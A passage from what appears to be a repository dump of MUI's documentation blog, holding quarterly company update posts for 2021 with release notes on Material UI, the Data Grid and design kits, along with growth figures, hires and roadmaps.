'@mui/material';\n\n// 1. Extend the theme.\nconst theme = createMuiTheme({\n  palette: {\n    neutral: {\n      main: '#5c6ac4',\n    },\n  },\n});\n\n// 2. Notify TypeScript about the new color in the palette\ndeclare module '@mui/material/styles' {\n  interface Palette {\n    neutral: Palette['primary'];\n  }\n  interface PaletteOptions {\n    neutral: PaletteOptions['primary'];\n  }\n}\n\n// 3. Profit\n<Button color=\"neutral\"  />\n```\n\nThis new feature removes the need to create a wrapper component.\n\n- 📍 We have synchronized the icons with the latest update of the Material Design icons.<br />\n  Google has moved its icons to a new location: https://fonts.google.com/icons.\n  At the same time, they have increased the number of provided icons from 6,500 to 8,500.\n  You can find all these icons under the `@mui/icons-material` package.\n\n- 🦴 We have migrated a couple of components to the `@mui/base` package.\n  The aim of the package is to host the unstyled and headless (hooks) components.\n  So far, you can only find:\n  - Backdrop\n  - Badge\n  - Focus trap\n  - Modal\n  - Slider\n\n  We are synchronizing the development of the Base package with the creation of the second theme (and not v5).\n\n- 🛠 We added a subset of MUI System as flattened props to the CSS utility components (Box, Typography, Stack, and Grid).\n  We initially didn't plan to do so but reversed on hearing the feedback from the community.\n  In addition to using the `sx` prop, you can now do, for example:\n\n```jsx\n<Box display=\"grid\" />\n<Typography p={2} color=\"text.secondary\" />\n<Stack mt={1} />\n<Grid color=\"success.main\" />\n```\n\nNote that with the other components, only the `sx` prop is available.\n\n- ⚓️ We have introduced a new release line: `v4.x.x-deprecations.x`.\n  This release line is kept in sync with the latest version of v4 and includes actionable deprecations to ease the migration to v5.\n\n### Advanced components\n\nWe have primarily focused on the data grid components, fixing a lot of bugs, but also delivering new features.\n\n#### Date Picker\n\nThe date picker is at the border between the advanced components and the design system realms.\n\n- 📚 We have fixed the generation of the API pages.\n  We now document all the props supported by the public pickers components, for example [DatePicker](https://mui.com/api/date-picker/).\n- ⚙️ We have mostly focused on addressing the technical debt present in the picker components (ported from `@materal-ui/pickers`).\n\n#### Data Grid\n\n- 🔄 We have started to bring support for [lazy-loading](/x/react-data-grid/row-updates/#infinite-loading).\n- ⬇️ We have introduced support for [CSV export](/x/react-data-grid/export/#csv-export).\n\n  <img src=\"/static/blog/2021-q1-update/csv-export.png\" alt=\"\" style=\"width: 523px; margin-bottom: 16px;\" />\n\n- ♿️ We have fixed a couple of accessibility issues (more in progress).\n- 🌏 We have introduced support for [custom locales](/x/react-data-grid/localization/).\n- 🚨 We have started to work on breaking changes to reach a stable state.\n- 💾 We have extended the support of @mui/material to handle v4 and v5 at the same time.\n  In the future, we might desynchronize the release version of _mui/material-ui_ and _mui/mui-x_.\n  For MUI X, we will likely need to release breaking changes at a higher frequency: every six months.\n- 🎛 We have added a column selector.\n\n  <img src=\"/static/blog/2021-q1-update/column-selector.png\" alt=\"\" style=\"width: 518px; margin-bottom: 16px;\" />\n\n### Design Kits\n\n#### Figma\n\nWe have migrated all the components to leverage the [Figma variants feature](https://help.figma.com/hc/en-us/articles/360056440594-Create-and-use-variants).\nWe have also taken this as an opportunity to polish the components:\n\n- Improve the use of auto-layout\n- Fix theme design token usage\n- Add the Autocomplete component\n\n#### Adobe XD\n\nWe have made Adobe XD available with a first release.\n\n#### Sketch\n\nWe have redesigned most of the components from scratch to make sure all components show their CSS properties using inspection tools such as [Sketch Cloud Inspect tool](https://www.sketch.com/blog/2020/01/29/introducing-cloud-inspector-free-developer-handoff-in-the-browser/).\n\n## Company\n\n### Handbook\n\nThe most important change inside the organization is the introduction of a company Handbook.\nThe company is distributed and operates across different time zones.\nPer the nature of our operation, and at the pace we are growing, we needed an effective and efficient way to share the organizational processes and culture.\nPer our transparency value, all the sections of the Handbook that don't contain sensitive information are [publicly available](https://mui-org.notion.site/Handbook-f086d47e10794d5e839aef9dc67f324b).\n\nThis Handbook is the single **source of truth**. It's meant to be updated by any team member, to stay in sync with how we do things.\n\n### Growth between Q4 2020 and Q1 2021\n\n- 📦 From 6.4M to 8.6M downloads per month on npm.<br />\n  It seems that React keeps taking market share in the frontend ecosystem;\n  it's growing faster than Vue or Angular.\n  Most indicators point to it: [Stack Overflow questions](https://insights.stackoverflow.com/trends?tags=vue.js%2Creactjs%2Cangular), [stars](https://bestofjs.org/projects?sort=monthly), [downloads](https://npm-stat.com/charts.html?package=react-dom,@angular/core,vue), [Traffic on the documentation](https://www.similarweb.com/website/reactjs.org/?competitors=vuejs.org).\n  Our strategy to focus on React only seems to be paying off.\n\n- ⭐️ From 63.8k to 67.2k stars, leave us yours [🌟](https://github.com/mui/material-ui).\n  We have seen a significant influx of stars this quarter.\n- 👨‍👩‍👧‍👦 From 2,052 to 2,141 contributors on GitHub. We add on average one new contributor every day.\n- 💰 Grew gross revenue at +4%/week on average during the period.\n- 🏢 We have welcomed one new member to MUI: [Matheus](/blog/matheus-wichman-joining/).\n\n## Our roadmap intent for Q2 2021\n\nWe'll do our best, no guarantee!\n\n### Company\n\nWe have almost signed with **four** new people to join the team this quarter (waiting for their notice period).\nWe will welcome our first designer and a frontend developer to collaborate with him on a second theme.\nThe two others will strengthen 1. the core components and 2. the advanced components teams.\nWe will cross the ten-person milestone in the coming weeks (11).\n\nWe have the following objectives:\n\n- Finish the implementation of the rebranding. A preview, the [about](/about/) and [pricing](/pricing/) pages.\n- Onboard the new members and scale our processes as we double the size of the organization this quarter.\n\n### Core components\n\n- 🚀 Get v5-beta (no more breaking changes) out! The development of this new version started almost a year ago. It's time to aim for the stable release.\n- 📅 Start handling the issues with the date picker reported by developers.\n- 🗓 Execute on all the items of the [public roadmap](https://github.com/orgs/mui/projects/23/views/12).\n- ❓ Please upvote [GitHub issues](https://github.com/mui/material-ui/issues?q=is%3Aissue+is%3Aopen+sort%3Areactions-%2B1-desc) if you want us to focus on a specific problem. The number of 👍 helps us to prioritize.\n\n### Advanced components\n\n- ✍️ Release the Data Grid cell edit feature we have been working on for the last two months. [A preview](https://deploy-preview-1287--material-ui-x.netlify.app/components/data-grid/editing/).\n- 📅 Start dedicating time to the date range picker.\n- 🗓 Execute on all the items in the [public roadmap](https://github.com/orgs/mui/projects/35).\n- ❓ Please upvote [GitHub issues](https://github.com/mui/mui-x/issues?q=is%3Aissue+is%3Aopen+sort%3Areactions-%2B1-desc) if you want us to focus on a specific problem. The number of 👍 helps us to prioritize.\n\n### Design Kits\n\n- Release an update with the new Material Design icons on Figma, Adobe XD, Sketch.\n- Figma, continue to polish the kit as our most important one.\n- Adobe XD, improve the performance of the kit.\n- Collect more users' feedback to identify the biggest improvement opportunities.\n"
  },
  {
    "path": "docs/pages/blog/2021-q2-update.js",
    "content": "import TopLayoutBlog from 'docs/src/modules/components/TopLayoutBlog';\nimport { docs } from './2021-q2-update.md?muiMarkdown';\n\nexport default function Page() {\n  return <TopLayoutBlog docs={docs} />;\n}\n"
  },
  {
    "path": "docs/pages/blog/2021-q2-update.md",
    "content": "---\ntitle: Q2 2021 Update\ndescription: An update on our mission for Q2 2021.\ndate: 2021-07-12T00:00:00.000Z\nauthors: ['oliviertassinari', 'mbrookes']\ntags: ['Company']\nmanualCard: true\n---\n\nThis update covers our progress over the last three months.\nIt also covers what we aim to achieve in the months ahead.\n\n## Overview\n\n- [Product](#product)\n  - [Core components](#core-components)\n  - [Advanced components](#advanced-components)\n  - [Design Kits](#design-kits)\n- [Company](#company)\n- [Our roadmap intent for Q3 2021](#our-roadmap-intent-for-q3-2021)\n\n## Product\n\nHere are the most significant improvements since March 2021.\n\n### Core components\n\n- 🔥 We've made enough progress to ship [v5.0.0-beta.0](https://github.com/mui/material-ui/releases/tag/v5.0.0-beta.0). Here are a few statistics to give an idea of the effort that went into it:\n  - [12 months](/blog/2020-q2-update/#product) of dedicated focus.\n    We stopped work on v4 early on to fully dedicate to v5.\n  - 3,475 pull requests.\n  - 5,092 commits (the extra commits came from the merge of [material-ui-pickers](https://github.com/mui/material-ui-pickers))\n  - 398 new contributors.\n  - The equivalent of four full-time developers working on it on average (core team + community).\n  - 38 alpha releases, we release once a week.\n\n- 👩‍🎤 We have rolled out the new **style engine** to all the components.\n  The community provided invaluable assistance in completing this effort.\n  In v5, we have standardized on the `styled()` API as the styling foundation we build on top of, and introduced the [the `sx` prop](https://mui.com/system/getting-started/the-sx-prop/) for one-off customizations.\n  The `styled()` API is loved by the community, and implemented by a number of styling libraries: styled-components, emotion, stitches, goober, etc. It allows us to support them all with [adapters](https://mui.com/material-ui/integrations/styled-components/).\n\n- ⚒️ We added a [codemod CLI](https://github.com/mui/material-ui/tree/HEAD/packages/mui-codemod) and 17 transformations (so far) to automatically migrate codebases from v4 to v5.\n  If you're not familiar with what a codemod is, check out [Effective Refactoring with Codemods by Edd Yerburgh](https://www.youtube.com/watch?v=H9qtLutnT_g).\n\n- 💄 We have [updated the style of the Slider](https://mui.com/material-ui/react-slider/#sizes) to better match the Material Design guidelines, and kept a similar style as before under `size=\"small\"`:\n\n  <a href=\"https://mui.com/material-ui/react-slider/#sizes\"><img loading=\"lazy\" src=\"/static/blog/2021-q2-update/slider.png\" alt=\"\" style=\"width: 838px; margin-bottom: 16px;\" /></a>\n\n- ✨ The new style engine has unlocked problems on the `Grid` component that we couldn't solve before with JSS:\n\n  We have added support for [row & column](https://mui.com/material-ui/react-grid/#row-column-spacing) spacing:\n\n```jsx\n<Grid container rowSpacing={1} columnSpacing={2} />\n```\n\nWe have added support for [responsive values](https://mui.com/material-ui/react-grid/#responsive-values) on all the props:\n\n```jsx\n<Grid container spacing={{ xs: 2, md: 3 }} />\n```\n\nWe have added support for a different [number of columns](https://mui.com/material-ui/react-grid/#columns) than 12:\n\n```jsx\n<Grid container columns={16}>\n```\n\nWe have added an alternative implementation that uses [CSS grid](https://mui.com/material-ui/react-grid/#css-grid-layout):\n\n```jsx\n<Box display=\"grid\" gridTemplateColumns=\"repeat(12, 1fr)\" gap={2}>\n  <Box gridColumn=\"span 8\">\n    <Item>xs=8</Item>\n  </Box>\n  <Box gridColumn=\"span 4\">\n    <Item>xs=4</Item>\n  </Box>\n  <Box gridColumn=\"span 4\">\n    <Item>xs=4</Item>\n  </Box>\n  <Box gridColumn=\"span 8\">\n    <Item>xs=8</Item>\n  </Box>\n</Box>\n```\n\n- 💄 We have improved the accessibility of the Link component:\n\n  <a href=\"https://mui.com/material-ui/react-link/\">\n    <img loading=\"lazy\" src=\"/static/blog/2021-q2-update/link.png\" alt=\"\" style=\"width: 129px; margin-bottom: 16px;\" />\n  </a>\n\n  <p class=\"blog-description\">The underline helps to differentiate links in sentences.</p>\n\n### Advanced components\n\nWe have primarily focused on the data grid components, fixing a lot of bugs.\n\n#### Date Picker\n\nThe date picker is at the border between the core component and advanced components realms.\n\n- 🐛 We have fixed a couple of straightforward problems: visual bugs, use of the `components` prop for customizability, etc.\n- ⚙️ We have continued to focus on addressing technical debt present in the picker components.\n\n#### Data Grid\n\n- 🚨 We have continued to work on breaking changes to reach a stable version.\n  We think that the component is good enough for use in production (and many developers already are using it), but we want to get the public API right before committing to a stable release.\n- ✍️ We have added support for the [cell edit mode](https://mui.com/x/react-data-grid/editing/).\n\n  <video autoplay muted loop playsinline width=\"1684\" height=\"782\">\n    <source src=\"/static/blog/2021-q2-update/cell-edit.mp4\" type=\"video/mp4\" />\n  </video>\n\n- 🐛 We have focused on fixing bugs and regressions to ensure early users have a great experience with the component.\n  This was done instead of taking on ambitious new features.\n  We want our users to be able to adopt new features as fast as we build them.\n- 🔘 We have added support for a built-in [single select](/x/react-data-grid/column-definition/#column-types) column type:\n\n  <img loading=\"lazy\" src=\"/static/blog/2021-q2-update/single-select.png\" alt=\"\" style=\"width: 481px; margin-bottom: 16px;\" />\n\n  <p class=\"blog-description\">the <a href=\"https://codesandbox.io/p/sandbox/material-demo-forked-iuyo5?file=/demo.js\">CodeSandbox</a></p>\n\n  and the **boolean** column type.\n\n- 🚀 We have improved the performance.\n  Client-side sorting and filtering are 2-3x faster on large data sets.\n  We have improved the UX when scrolling.\n  We have added memo logic on the render cell's parent, and worked on its effectiveness to reduce the re-rendering of custom cells.\n  We have identified more opportunities to improve the performance that we will prioritize later.\n- 📚 We have worked on providing more reference documentation. We are semi-automatically generating it from the TypeScript source definitions, with the descriptions.\n  For instance, you can now find all the [properties available](/x/api/data-grid/grid-col-def/) of the `GridColDef`.\n- ⚡️ We have fixed support for components that use portals, like Select and Autocomplete, in the cell editing mode.\n- 🌏 We have accepted many new built-in locales (+15) from the community, after the introduction of [the feature](/x/react-data-grid/localization/#supported-locales) in Q1.\n\n### Design Kits\n\n#### Figma\n\nDesigners have a great sense of detail.\nWe have polished the kit, using all the feedback that we could get.\nWe have also introduced support for a [dark mode](https://www.figma.com/file/7M8OmZIv6WigOjbSV7Xxlg/2021-q2-update?node-id=4230%3A724)! We have worked on making the design kit close to the React components.\nThis reduces miscommunications between designers and developers.\n\n#### Adobe XD\n\nWe have fixed performance issues and polished the kit.\n\n#### Sketch\n\nWe have added support of a dark mode and polished the kit.\n\n## Company\n\n### OKRs\n\nIn the first quarter, we focused on introducing a [handbook](https://mui.com/blog/2021-q1-update/#handbook) to share our culture and to help solve the N(N-1)/2 communication channels problem that comes with a larger team.\n\nThis quarter, we took on a new initiative to help us solve three problems:\n\n- create alignment on the goals\n- improve how we measure success\n- create space to take on larger initiatives, away from the day-to-day PR and issue management\n\nAfter considering [different](https://basecamp.com/shapeup) [alternatives](https://coda.io/@shishir/rituals-for-hypergrowth-an-inside-look-at-how-youtube-scaled), we are going with the [OKR methodology](https://www.whatmatters.com/resources/google-okr-playbook/).\n\n### Growth between Q1 2021 and Q2 2021\n\n- 📦 From 8.6M to 9.1M downloads per month on npm. We have 21.03% of market share inside the React ecosystem, up from 6.68%, 5 years ago.\n- ⭐️ From 67.2k to 69.1k stars. [Leave us yours 🌟](https://github.com/mui/material-ui)!\n- 👨‍👩‍👧‍👦 From 2,141 to 2,223 contributors on GitHub. We add on average one new contributor every day.\n\n### New members\n\nWe have welcomed four new members to the company 🏢:\n\n- [Jun](/blog/siriwat-kunaporn-joining/), leads the implementation of a [second design system](https://github.com/mui/material-ui/issues/22485).\n\n  <img loading=\"lazy\" src=\"/static/blog/2021-q2-update/jun.jpg\" alt=\"jun\" style=\"width: 160px; height: 160px; margin: unset; margin-bottom: 24px; border-radius: 2px;\" />\n\n- [Michał](/blog/michal-dudak-joining/) leads the initiative around the [unstyled components](https://github.com/mui/material-ui/issues/6218).\n\n  <img loading=\"lazy\" src=\"/static/blog/2021-q2-update/michal.jpg\" alt=\"michal\" style=\"width: 160px; height: 160px; margin: unset; margin-bottom: 24px; border-radius: 2px;\" />\n\n- [Danilo](https://daniloleal.co/), a Lead Designer to raise our design game.\n\n  <img loading=\"lazy\" src=\"/static/blog/2021-q2-update/danilo.jpg\" alt=\"danilo\" style=\"width: 160px; height: 160px; margin: unset; margin-bottom: 24px; border-radius: 2px;\" />\n\n- [Flavien](https://github.com/flaviendelangle), an engineer with previous experience building [design systems](https://habx.github.io/ui-core/) and a complex 2D JavaScript rendering engine. He's helping us take on bolder problems on the advanced components (X team), starting with the data grid.\n\n  <img loading=\"lazy\" src=\"/static/blog/2021-q2-update/flavien.jpg\" alt=\"flavien\" style=\"width: 160px; height: 160px; margin: unset; margin-bottom: 24px; border-radius: 2px;\" />\n\nWe are also **hiring** for various roles! If you're interested in joining us, check out our [jobs page](/careers/#open-roles).\n\n## Our roadmap intent for Q3 2021\n\nWe'll do our best, no guarantee!\n\n### Company\n\nWe have the following objectives:\n\n- Continue to refine our processes and responsibilities to make sure we function well with over ten people in the company.\n- Rebrand. We started this effort one year ago but, failed to execute on it.\n  With [Danilo](https://github.com/danilo-leal) (design) and [Jun](https://github.com/siriwatknp) (code) in the team to own the effort, we can finally make it happen.\n  We will take a step to distinguish ourselves from a strong association with Material Design.\n- Open and fill [4 roles](/careers/#open-roles). We need to strengthen the X team (advanced components)\n  We also want to initiate the development of a bold new product vertical.\n\n### Core components\n\n- 🚀 Get v5 stable out! At this point, v5-alpha has about [1%](https://npm-stat.com/charts.html?package=%40material-ui%2Fstyled-engine&package=%40material-ui%2Fcore&from=2020-06-22&to=2021-06-22) of the downloads of v4.\n  It has a lot of accumulated value not being realized. We're aiming for 25% of the community to have migrated by the end of the quarter.\n- ♨️ Fix the friction the community has during the upgrade to v5.\n  We want to make the upgrade feel painless.\n- ⚛️ Support [React 18](https://legacy.reactjs.org/blog/2021/06/08/the-plan-for-react-18.html). [Sebastian](https://github.com/eps1lon) is part of the React [Working Group](https://github.com/reactwg/react-18/discussions), focusing on making us ready ahead of time.\n  We want our most demanding users to feel empowered by Material UI, not slowed down by a third-party library.\n- 🦴 Migrate more components to `@mui/base`. [Michał](https://github.com/michaldudak) has recently added support for the [Switch](https://v6.mui.com/base-ui/react-switch/).\n  You can follow our progress in the [umbrella issue](https://github.com/mui/base-ui/issues/10).\n- 🌈 Do a proof of concept on supporting a second design system.\n  Some of our users (and potential users) dislike Material Design. We will try to make the second design system one that they love!\n- 🗓 Execute on all of the items in the [public roadmap](https://github.com/orgs/mui/projects/23/views/12).\n- ❓ Please upvote [GitHub issues](https://github.com/mui/material-ui/issues?q=is%3Aissue+is%3Aopen+sort%3Areactions-%2B1-desc) if you want us to focus on a specific problem. The number of 👍 helps us to prioritize.\n\n### Advanced components\n\n- 🚀 Release the first stable version of the Data Grid.\n- ✨ Resume work on the [key features](https://github.com/mui/mui-x/issues?q=is%3Aopen+label%3A%22linked+in+docs%22+sort%3Areactions-%2B1-desc), after a quarter focused on stability.\n  It seems that the audience is adopting the data grid as fast as we can build it.\n  For instance, we have one issue with over [1,000 upvotes](https://github.com/mui/mui-x/issues/204) 👍.\n- 🗓 Execute on all of the items in the [public roadmap](https://github.com/orgs/mui/projects/35).\n- ❓ Please upvote [GitHub issues](https://github.com/mui/mui-x/issues?q=is%3Aissue+is%3Aopen+sort%3Areactions-%2B1-desc) if you want us to focus on a specific problem. The number of 👍 helps us to prioritize.\n\n### Design Kits\n\n- Handle designers' pain and bug reports to polish the products.\n- Run a survey on thousands of customers to identify important improvement opportunities. Should we build plugins to more easily switch the token variables between design and code? Should we add more in context examples? Should we focus on inconsistencies? etc.\n"
  },
  {
    "path": "docs/pages/blog/2021-q3-update.js",
    "content": "import TopLayoutBlog from 'docs/src/modules/components/TopLayoutBlog';\nimport { docs } from './2021-q3-update.md?muiMarkdown';\n\nexport default function Page() {\n  return <TopLayoutBlog docs={docs} />;\n}\n"
  },
  {
    "path": "docs/pages/blog/2021-q3-update.md",
    "content": "---\ntitle: Q3 2021 Update\ndescription: An update on our mission for Q3 2021.\ndate: 2021-10-26T00:00:00.000Z\nauthors: ['oliviertassinari']\ntags: ['Company']\nmanualCard: true\n---\n\nThis update covers our progress over the last three months.\nIt also covers what we aim to achieve in the months ahead.\n\n## Overview\n\n- [Product](#product)\n  - [MUI Core](#mui-core)\n  - [MUI X](#mui-x)\n  - [Design Kits](#design-kits)\n- [Company](#company)\n- [Our roadmap intent for Q4 2021](#our-roadmap-intent-for-q4-2021)\n\n## Product\n\nHere are the most significant improvements since early July 2021.\n\n### MUI Core\n\n- 🔥 In September we released a new major version: [v5.0.0](https://github.com/mui/material-ui/releases/tag/v5.0.0) (you might have noticed! 😄 ).\n  We're excited about what it means for the future of the library, and we hope you are going to enjoy the simplified customization, the extra flexibility, new components, and more.\n  It took us over a year to pull off, with an almost exclusive focus on v5 over v4.\n  You can read more about it in the [release blog post](/blog/mui-core-v5/).\n- ✨ We also introduced a brand new [product page](/core/) this quarter to better present what the Core is about.\n- 🔎 We've reworked the search experience in the docs:\n  - The component pages now rank before the API pages.\n  - Instead of only displaying up to 5 results, you can scroll for more results.\n  - An icon illustrates the nature of the match; either a page, a header, or a paragraph.\n  - Your most recent searches are saved in local storage.\n\n  <img loading=\"lazy\" src=\"/static/blog/2021-q3-update/old-search.png\" alt=\"\" width=\"1192\" height=\"936\" style=\"width: 596px;\" />\n\n  <p class=\"blog-description\">Before</p>\n\n  <img loading=\"lazy\" src=\"/static/blog/2021-q3-update/new-search.png\" alt=\"\" width=\"1200\" height=\"920\" style=\"width: 600px; margin-top: 32px;\" />\n\n  <p class=\"blog-description\">After</p>\n\n- [Masonry](https://v5.mui.com/material-ui/react-masonry/). We introduced a new component for use when the `Grid` component leads to wasted space. It's frequently used in dashboards.\n\n  <a href=\"/material-ui/react-masonry/\"><img loading=\"lazy\" src=\"/static/blog/2021-q3-update/masonry.png\" style=\"width: 700px;\" width=\"1400\" height=\"906\" alt=\"react-masonry\" /></a>\n\n- We introduced a new [package of components without styles](https://www.npmjs.com/package/@mui/base), laying the foundations for supporting multiple design systems with headless components.\n  While it was tough to balance the time between working on v5 stable and developing the unstyled components, we still managed to introduce the first few:\n  - [Autocomplete](https://v5.mui.com/material-ui/react-autocomplete/#useautocomplete)\n\n  ```jsx\n  import { useAutocomplete } from '@mui/base/AutocompleteUnstyled';\n  ```\n\n  - [Button](https://v5.mui.com/material-ui/react-button/#unstyled)\n\n  ```jsx\n  import { useButton } from '@mui/base/ButtonUnstyled';\n  ```\n\n  - [Modal](https://v5.mui.com/material-ui/react-modal/#unstyled)\n\n  ```jsx\n  import { ModalUnstyled } from '@mui/base/ModalUnstyled';\n  ```\n\n  - [Slider](https://v5.mui.com/material-ui/react-slider/#unstyled)\n\n  ```jsx\n  import { SliderUnstyled } from '@mui/base/SliderUnstyled';\n  ```\n\n  - [Switch](https://v5.mui.com/material-ui/react-switch/#unstyled)\n\n  ```jsx\n  import { useSwitch } from '@mui/base/SwitchUnstyled';\n  ```\n\n  - [Portal](https://v5.mui.com/material-ui/react-portal/#unstyled)\n\n  ```jsx\n  import { Portal } from '@mui/base/Portal';\n  ```\n\n  - [FocusTrap](https://v6.mui.com/base-ui/react-focus-trap/)\n\n  ```jsx\n  import { FocusTrap } from '@mui/base/FocusTrap';\n  ```\n\n### MUI X\n\nLast quarter we focused on the data grid components, working towards a stable release.\nWe also introduced a brand new [product page](/x/) this quarter to better present what MUI X is about.\n\n#### Date Picker\n\nThe date picker sits at the border between the core component and advanced components.\n\n- ❌ A few updates but no major ones worth sharing.\n  With the release of v5 stable and our focus on the data grid, nobody in the team had the bandwidth to work on it.\n\n#### Data Grid\n\n- 🎉 We released the first stable version: [v4.0.0](https://github.com/mui/mui-x/releases/tag/v4.0.0)!\n  We also released the first v5-beta, to support MUI Core v5,\n  and will be working almost exclusively on the v5 release line going forward.\n- 🔎 We also added a [quick-filter demo](/x/react-data-grid/filtering/quick-filter/) to illustrate how it can be implemented,\n  and will add a [built-in](https://github.com/mui/mui-x/issues/202) solution later on.\n\n  <a href=\"/x/react-data-grid/filtering/quick-filter/\"><img loading=\"lazy\" src=\"/static/blog/2021-q3-update/quick-filter.png\" width=\"1508\" height=\"542\" alt=\"react-data-grid-quick-filter\" /></a>\n\n- 🐛 We fixed several non-idiomatic React patterns, for instance we were not handling controllable props by the book, and as we do in MUI Core.\n- 🚀 We introduced the [row editing](/x/react-data-grid/editing/#row-editing) feature.\n\n  <video autoplay muted loop playsinline width=\"1702\" height=\"764\">\n    <source src=\"/static/blog/2021-q3-update/row-edit.mp4\" type=\"video/mp4\" />\n  </video>\n\n- 🦺 We added a [`disableVirtualization`](/x/react-data-grid/virtualization/#disable-virtualization) prop to make it easier to test the data grid without a real browser environment, for example in jsdom with Jest.\n- 🚛 We have added an `onViewportRowsChange` prop as a first step toward being able to lazy load a large dataset.\n- Last but not least, we have resumed the work on [key missing features](https://github.com/mui/mui-x/issues?q=is%3Aopen+label%3A%22linked+in+docs%22+sort%3Areactions-%2B1-desc).\n  Print export and tree data are in the pipeline.\n\n### Design Kits\n\nWe introduced a brand new [product page](/design-kits/) this quarter to better present the design kits.\n\n#### Figma\n\nThe kit is now up-to-date with MUI Core v5,\nand also includes the MUI X components. And, as always, we have been refining it in small areas for issues raised by our users in the support channel.\n\n#### Adobe XD\n\nNo updates.\n\n#### Sketch\n\nNo updates.\n\n## Company\n\n### Retreat\n\nWe held our first company retreat 🏝 in Lisbon, Portugal 🇵🇹 ,\nfor members of the team that were not prevented by COVID-19 related travel restrictions, and who felt safe enough to travel.\nLess than half the company made it, but it was still fun!\nWe spent half the time doing a [Hackathon](https://x.com/olivtassinari/status/1441773885259583491) and the other half on activities (surfing, biking, winery tour, and sightseeing).\n\n<img loading=\"lazy\" src=\"/static/blog/2021-q3-update/retreat.jpeg\" alt=\"\" width=\"1613\" height=\"1210\" />\n\n<p class=\"blog-description\">Sightseeing in Lisbon</p>\n\n### Growth between Q2 2021 and Q3 2021\n\n- 📦 From 9.1M to 9.9M downloads per month on npm. We have 22.4% market share of the React ecosystem as a proportion of `react-dom` downloads.\n- ⭐️ From 69.1k to 72.1k stars. [Leave us yours 🌟](https://github.com/mui/material-ui)!\n- 👨‍👩‍👧‍👦 From 2,223 to 2,316 contributors on GitHub. On average, one new contributor joins every day.\n- 💰 Grew financial support by 2.99X [year over year](/blog/2020-q3-update/).\n\n### New member\n\nWe welcomed one new member to the company this quarter 🏢:\n\n- Benny was our first intern, and is now the first junior developer on the MUI Core team.\n\n  <img loading=\"lazy\" src=\"/static/blog/2021-q3-update/benny.jpg\" alt=\"Benny\" style=\"width: 160px; height: 160px; margin: unset; margin-bottom: 24px; border-radius: 2px;\" />\n\nWe are now 11 passionate builders empowering the next generation of UI creators.\n\n### A new brand\n\nAlongside the release of v5, we launched our [new brand](/blog/material-ui-is-now-mui/)!\nWe're excited about our new shorter name, **MUI**.\nWe were already using it in the class names (`.MuiButton-root`), which embodies our next step beyond Material Design.\n\nThis is something we have been considering for some time,\nand we did a couple of early design studies with an outside agency,\nbut it was only after we secured [mui.com](https://mui.com/), the GitHub [`@mui`](https://www.npmjs.com/org/mui) org, and the npm [@mui](https://www.npmjs.com/org/mui) scope that we knew the new name would work.\n\n## Our roadmap intent for Q4 2021\n\nWe'll do our best, no guarantee!\n\n### MUI Core\n\n- 🚀 We will double down on v5 before starting to solve new large problems, for example a revamp of the select.\n  We have made bold changes in this version since v4, but until recently, only a small percentage of the community was using v5.\n  In the last few weeks, we have seen a strong influx of feedback from the community.\n  We need to make the most of this feedback to solve regressions, improve the documentation for the new APIs, adjust the tradeoffs we took in the light of more information, and more.\n  [15%](https://npm-stat.com/charts.html?package=%40material-ui%2Fcore&package=%40mui%2Fmaterial&from=2020-10-25&to=2021-10-15) of the community has migrated, so far.\n- 🦴 Migrate more components to `@mui/base`. [Michał](https://github.com/michaldudak) has recently added support for the [Button](https://v6.mui.com/base-ui/react-button/).\n  You can follow our progress in the [umbrella issue](https://github.com/mui/base-ui/issues/10).\n- 🎨 We are [exploring](https://github.com/mui/material-ui/discussions/29024) the introduction of CSS variables.\n  Since v5, Material UI is no longer actively supporting IE 11. Dropping this browser requirement unlocks new capabilities of the web platform.\n- 🌈 Resume work on the second design system.\n  Some users (and potential users) dislike Material Design. We'll try to make the second design system one that they love! You can check our [first RFC](https://github.com/mui/material-ui/discussions/29024).\n- 🗓 Execute on all of the items in the [public roadmap](https://github.com/orgs/mui/projects/23/views/12).\n- ❓ Please upvote [GitHub issues](https://github.com/mui/material-ui/issues?q=is%3Aissue+is%3Aopen+sort%3Areactions-%2B1-desc) if you want us to focus on a specific problem. The number of 👍 helps us to prioritize.\n\n### MUI X\n\n#### Data Grid\n\nWe have planned to:\n\n- ✨ Release the print export feature.\n- ✨ Release the tree data feature.\n- ✨ Revamp the virtualization to yield better rendering performance and fix bugs.\n  It unlocks new features like column pinning and lazy loading.\n- 🗓 Execute on all of the items in the [public roadmap](https://github.com/orgs/mui/projects/35).\n- ❓ Please upvote [GitHub issues](https://github.com/mui/mui-x/issues?q=is%3Aissue+is%3Aopen+sort%3Areactions-%2B1-desc) if you want us to focus on a specific problem. The number of 👍 helps us to prioritize.\n\n#### Date Picker\n\nNo plans. We probably won't progress its development this quarter.\n\nHowever, we are growing the team.\nWe plan to resume work on it in Q1 2022, starting with the equivalent of one full-time developer.\n\n### Design Kits\n\nWe will release a v5 for Sketch and Adobe XD, as we have already done for Figma.\nWhile the visual difference between MUI Core v4 and v5 is not major, we still need to sync the design components.\n\n### Company\n\nWe have the following objectives:\n\n- 📊 Run a new edition of the Developer Survey. The last one was done [15 months ago](https://mui.com/blog/2020-developer-survey-results/). Now that v5 is released, it's time for the 2021 edition!\n- 👪 Hire for two new roles: a Product Manager to focus on low-code and our first Developer Advocate.\n- 💫 Create a great onboarding experience for the 6-7 new hires of Q4.\n"
  },
  {
    "path": "docs/pages/blog/2021.js",
    "content": "import TopLayoutBlog from 'docs/src/modules/components/TopLayoutBlog';\nimport { docs } from './2021.md?muiMarkdown';\n\nexport default function Page() {\n  return <TopLayoutBlog docs={docs} />;\n}\n"
  },
  {
    "path": "docs/pages/blog/2021.md",
    "content": "---\ntitle: 2021 in review and beyond\ndescription: 2021 has been another great year, not only for MUI but also for the ecosystem.\ndate: 2021-12-31T00:00:00.000Z\nauthors: ['oliviertassinari']\ntags: ['Company']\nmanualCard: true\n---\n\n<img src=\"/static/blog/2021/card.png\" alt=\"\" width=\"2400\" height=\"1256\" />\n\nHappy New Year from MUI!\n\n2021 has been another amazing year, not only for us but also for the React ecosystem and our users.\nThe digitalization of the economy is accelerating, pushed by COVID-19.\nDevelopers and designers have been, more than ever, busy creating apps.\n\nWe spent our year making it faster and easier for you to build great UIs and to delight your users with amazing UI experiences.\nThank you for being part of this journey!\n\n## Growth\n\nIt's only with your trust that we could achieve the following outcomes in 2021. Thank you!\n\n- 📦 From 6.4M to [10.8M](https://npm-stat.com/charts.html?package=%40material-ui%2Fcore&from=2019-11-30&to=2020-12-31) downloads per month (from 18% to [23%](https://docs.google.com/spreadsheets/d/1l5j3Xjtvm9XZtmb4ulLiWElQaXSlZlyCWT5ONrQMpBo/edit?usp=sharing) share of the React ecosystem).\n- 📈 From 